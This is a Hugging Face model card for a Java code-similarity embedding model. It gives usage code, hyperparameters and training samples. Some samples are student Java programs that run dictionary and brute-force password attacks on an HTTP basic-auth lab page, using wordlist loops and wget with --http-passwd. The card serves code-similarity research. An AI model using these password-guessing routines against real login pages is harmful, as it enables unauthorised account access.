\"20000\");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println(\"sent the email with the differences : \"+ + \"using the mail server: \"+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n"
pipeline_tag: sentence-similarity
library_name: sentence-transformers
SentenceTransformer based on uclanlp/plbart-java-cs
This is a sentence-transformers model finetuned from uclanlp/plbart-java-cs. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: uclanlp/plbart-java-cs
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: PLBartModel
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-PLBART-ST")
# Run inference
sentences = [
'\nimport java.util.*;\n\npublic class WatchDog\n{\n private Timer t;\n\n public WatchDog()\n {\n t = new Timer();\n TimerTask task = new TimerTask()\n {\n public void run()\n\t {\n\t Dog doggy = new Dog();\n\t }\n };\n \n t.schedule(task, 0, 86400000);\n }\n public static void main( String[] args)\n {\n WatchDog wd = new WatchDog();\n }\n}\n',
'import\tjava.io.*;\n\nclass WatchDog {\n public static void main(String args[]) {\n \n\t if (args.length<1)\n\t {\n System.out.println("Correct Format Filename email address <[email protected].> of the recordkeeper"); \n System.exit(1);\t\n\t }\n\n\twhile (true)\n\t\t{\n\t\t\n\t\t\n FileInputStream stream=null;\n DataInputStream word=null;\n String input=" "; \n\n\n\ttry {\n\n\n String ls_str;\n \n \t \n\t Process ls_proc = Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students");\n \t\ttry {\n\t\tThread.sleep(2000);\n\t\t}catch (Exception e) {\n System.err.println("Caught ThreadException: " +e.getMessage());\n\t }\n\n\t\tString[] cmd = {"//sh","-c", "diff Index2.html index.html >report.txt "};\n\n\t ls_proc = Runtime.getRuntime().exec(cmd);\n\t\t \n\t\t\t\n\t\t\ttry {\n\t\tThread.sleep(2000);\n\t\t}catch (Exception e) {\n System.err.println("Caught ThreadException: " +e.getMessage());\n\t }\n\t\t\n\t\t\n\t\t\n\t\tif (ls_proc.exitValue()==2) \n\t\t{\n\t\t \t System.out.println("The file was checked for first time, email sent");\n\n Process move = Runtime.getRuntime().exec("mv index.html Index2.html");\n\t\t \n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t\tstream = new FileInputStream ("report.txt"); \n\t\t\t\tword =new DataInputStream(stream);\n\n\n\t\t\t\tif (word.available() !=0)\n\t\t\t\t{\n\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\n\t\t\t\t\tString[] cmd1 = {"//sh","-c","diff Index2.html index.html | mail "+args[0]};\n\t\t\t\t\t Process proc = Runtime.getRuntime().exec(cmd1);\n\t\t\t\t\t Thread.sleep(2000);\n\t\t\t\t\tProcess move = Runtime.getRuntime().exec("mv index.html Index2.html");\n\t\t\t\t\tThread.sleep(2000);\n\t\t\t\t\tSystem.out.println("Difference Found , Email Sent");\n\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Exception e1) {\n\t\t\t\t\t\t\tSystem.err.println(e1);\n\t\t\t\t\t\t\tSystem.exit(1);\n\t\t\t\t\t\t\n\t\t\t\t\t \n\t\t\t\t\t\t}\n\t\t\t\t\t \n\t \n\t \n\t\t\t\t }\n\t\t\t\t else\n\t\t\t\t\t{\n\t\t\t\t\t\t System.out.println(" Differnce Detected");\n\n\n\t\t\t\t\t}\n\t\t}\n\t}\n\t\n\n\t catch (IOException e1) {\n\t System.err.println(e1);\n\t System.exit(1);\n\t\n \n\t}\ntry\n{\nword.close();\nstream.close(); \n\t\n}\n \ncatch (IOException e)\n{ \nSystem.out.println("Error in closing input file:\\n" + e.toString()); \n} \n \t\ntry {\nThread.sleep(20000); \n }\ncatch (Exception e) \n\t{\nSystem.err.println("Caught ThreadException: " +e.getMessage());\n\t}\n\t\t\n\n } \n\n\t} \n\t\n }',
'\n\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\nimport javax.sql.DataSource;\n\n\n\n\npublic class BruteForcePropertyHelper {\n\n\tprivate static Properties bruteForceProps;\n\n\n\n\tpublic BruteForcePropertyHelper() {\n\t}\n\n\n\t\n\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println("Error init\'ing the burteforce Props");\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn bruteForceProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps() throws Exception{\n\t\tif(bruteForceProps == null){\n\t\t\tbruteForceProps = new Properties();\n\n\t\t\tInputStream fis =\n\t\t\t\tBruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");\n\t\t\tbruteForceProps.load(fis);\n\t\t}\n\t}\n}\n\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Training Details
Training Dataset
Unnamed Dataset
- Size: 33,411 training samples
- Columns:
sentence_0
,sentence_1
, andlabel
- Approximate statistics based on the first 1000 samples:
sentence_0 sentence_1 label type string string int details - min: 35 tokens
- mean: 413.67 tokens
- max: 512 tokens
- min: 35 tokens
- mean: 432.24 tokens
- max: 512 tokens
- 0: ~99.70%
- 1: ~0.30%
- Samples:
sentence_0 sentence_1 label
import java.io.;
import java.util.;
import java.net.*;
public class Dictionary {
public static void main(String[] args) {
String attackURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
String userID = "";
String Password="";
String userPassword="";
File inputFile = new File("/usr/share/lib/dict/words");
FileReader fin = null;
BufferedReader bf = null;
try {
startmillisecond = System.currentTimeMillis();
URL url = new URL(attackURL);
fin = new FileReader(inputFile);
bf = new BufferedReader(fin);
int count = 0;
while ((Password = bf.readLine()) !=null) {
if (Password.length() < 4) {
count++;
try {
userPassword = userID + ":" + Password;
System.out.println("User & Password :" + userPassword);
String encoding = Base64Converter.encode (userPassword.getBytes());
URLConnection uc = url.openConnection();
uc.setRequestProperty ("Authorization", " " + enc...
public class Base64 {
final static String baseTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
public static String encode(byte[] bytes) {
String tmp = "";
int i = 0;
byte pos;
for(i=0; i < (bytes.length - bytes.length%3); i+=3) {
pos = (byte) ((bytes[i] >> 2) & 63);
tmp = tmp + baseTable.charAt(pos);
pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15));
tmp = tmp + baseTable.charAt( pos );
pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2] >> 6) & 3));
tmp = tmp + baseTable.charAt(pos);
pos = (byte) (((bytes[i+2]) & 63));
tmp = tmp + baseTable.charAt(pos);
if(((i+2)%56) == 0) {
tmp = tmp + "\r\n";
}
}
if(bytes.length % 3 != 0) {
if(bytes.length % 3 == 2) {
pos = (byte) ((bytes[i] >> 2) & 63);
tmp = tmp + baseTable.charAt(pos);
pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15));
tmp = tmp + baseTable.charAt( pos );
...0
import java.io.*;
public class Dictionary
{
public static void main(String args[])throws Exception
{
String s = null;
String pass="";
int at=0;
String strLine="";
int i=0;
BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
start =System.currentTimeMillis();
try
{
while((pass=strLine = in.readLine()) != null)
{
if(pass.length()==3)
{
System.out.println(pass);
at++;
Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php");
p.waitFor();
i = p.exitValue();
if(i==0)
{
finish=System.currentTimeMillis();
...import java.util.;
import java.io.;
public class WatchDog {
public WatchDog() {
}
public static void main(String args[]) {
DataInputStream newin;
try{
System.out.println("Downloading first copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
String[] cmdMail = {"//sh", "-c", "mailx -s "Diffrence" "@cs.rmit.edu." < Diff.txt"};
while(true){
Thread.sleep(246060*1000);
System.out.println("Downloading new copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
Thread.sleep(2000);
Runtime.getRuntime().exec(cmdDiff);
Thread.sleep(2000);
newin = new DataInputStream( new FileInputStream( "Diff.txt"));
if (newin.readLine() != null){
System.out.println("Sending Mail");
...0
import java.Thread;
import java.io.;
import java.net.;
public class BruteForce extends Thread {
final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'};
final static int SUCCESS=1,
FAILED=0,
UNKNOWN=-1;
private static String host,
path,
user;
private Socket target;
private InputStream input;
private OutputStream output;
private byte[] data;
private int threads,
threadno,
response;
public static boolean solved = false;
BruteForce parent;
public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent)
{
super();
this.parent = parent;
this.host = host;
this.path = path;
this.user ...
import java.io.;
import java.net.;
import javax.swing.Timer;
import java.awt.event.*;
import javax.swing.JOptionPane;
public class WatchDog
{
private static Process pro = null;
private static Runtime run = Runtime.getRuntime();
public static void main(String[] args)
{
String cmd = null;
try
{
cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/");
pro = run.exec(cmd);
System.out.println(cmd);
}
catch (IOException e)
{
}
class Watch implements ActionListener
{
BufferedReader in = null;
String str = null;
Socket socket;
public void actionPerformed (ActionEvent event)
{
try
{
System.out.println("in Watch!");
String cmd = new String();
int ERROR = 1;
cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/");
System.out.println(cmd);
cmd = new String("diff original.txt new.txt");
pro = run.exec(cmd);
System.out.println(cmd);
in = new Buf...0
- Loss:
BatchAllTripletLoss
Training Hyperparameters
Non-Default Hyperparameters
per_device_train_batch_size
: 32per_device_eval_batch_size
: 32num_train_epochs
: 1fp16
: Truemulti_dataset_batch_sampler
: round_robin
All Hyperparameters
Click to expand
overwrite_output_dir
: Falsedo_predict
: Falseeval_strategy
: noprediction_loss_only
: Trueper_device_train_batch_size
: 32per_device_eval_batch_size
: 32per_gpu_train_batch_size
: Noneper_gpu_eval_batch_size
: Nonegradient_accumulation_steps
: 1eval_accumulation_steps
: Nonetorch_empty_cache_steps
: Nonelearning_rate
: 5e-05weight_decay
: 0.0adam_beta1
: 0.9adam_beta2
: 0.999adam_epsilon
: 1e-08max_grad_norm
: 1num_train_epochs
: 1max_steps
: -1lr_scheduler_type
: linearlr_scheduler_kwargs
: {}warmup_ratio
: 0.0warmup_steps
: 0log_level
: passivelog_level_replica
: warninglog_on_each_node
: Truelogging_nan_inf_filter
: Truesave_safetensors
: Truesave_on_each_node
: Falsesave_only_model
: Falserestore_callback_states_from_checkpoint
: Falseno_cuda
: Falseuse_cpu
: Falseuse_mps_device
: Falseseed
: 42data_seed
: Nonejit_mode_eval
: Falseuse_ipex
: Falsebf16
: Falsefp16
: Truefp16_opt_level
: O1half_precision_backend
: autobf16_full_eval
: Falsefp16_full_eval
: Falsetf32
: Nonelocal_rank
: 0ddp_backend
: Nonetpu_num_cores
: Nonetpu_metrics_debug
: Falsedebug
: []dataloader_drop_last
: Falsedataloader_num_workers
: 0dataloader_prefetch_factor
: Nonepast_index
: -1disable_tqdm
: Falseremove_unused_columns
: Truelabel_names
: Noneload_best_model_at_end
: Falseignore_data_skip
: Falsefsdp
: []fsdp_min_num_params
: 0fsdp_config
: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap
: Noneaccelerator_config
: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}deepspeed
: Nonelabel_smoothing_factor
: 0.0optim
: adamw_torchoptim_args
: Noneadafactor
: Falsegroup_by_length
: Falselength_column_name
: lengthddp_find_unused_parameters
: Noneddp_bucket_cap_mb
: Noneddp_broadcast_buffers
: Falsedataloader_pin_memory
: Truedataloader_persistent_workers
: Falseskip_memory_metrics
: Trueuse_legacy_prediction_loop
: Falsepush_to_hub
: Falseresume_from_checkpoint
: Nonehub_model_id
: Nonehub_strategy
: every_savehub_private_repo
: Nonehub_always_push
: Falsegradient_checkpointing
: Falsegradient_checkpointing_kwargs
: Noneinclude_inputs_for_metrics
: Falseinclude_for_metrics
: []eval_do_concat_batches
: Truefp16_backend
: autopush_to_hub_model_id
: Nonepush_to_hub_organization
: Nonemp_parameters
:auto_find_batch_size
: Falsefull_determinism
: Falsetorchdynamo
: Noneray_scope
: lastddp_timeout
: 1800torch_compile
: Falsetorch_compile_backend
: Nonetorch_compile_mode
: Noneinclude_tokens_per_second
: Falseinclude_num_input_tokens_seen
: Falseneftune_noise_alpha
: Noneoptim_target_modules
: Nonebatch_eval_metrics
: Falseeval_on_start
: Falseuse_liger_kernel
: Falseeval_use_gather_object
: Falseaverage_tokens_across_devices
: Falseprompts
: Nonebatch_sampler
: batch_samplermulti_dataset_batch_sampler
: round_robin
Training Logs
Epoch | Step | Training Loss |
---|---|---|
0.4785 | 500 | 0.3437 |
0.9569 | 1000 | 0.3653 |
Framework Versions
- Python: 3.11.13
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
BatchAllTripletLoss
@misc{hermans2017defense,
title={In Defense of the Triplet Loss for Person Re-Identification},
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
year={2017},
eprint={1703.07737},
archivePrefix={arXiv},
primaryClass={cs.CV}
}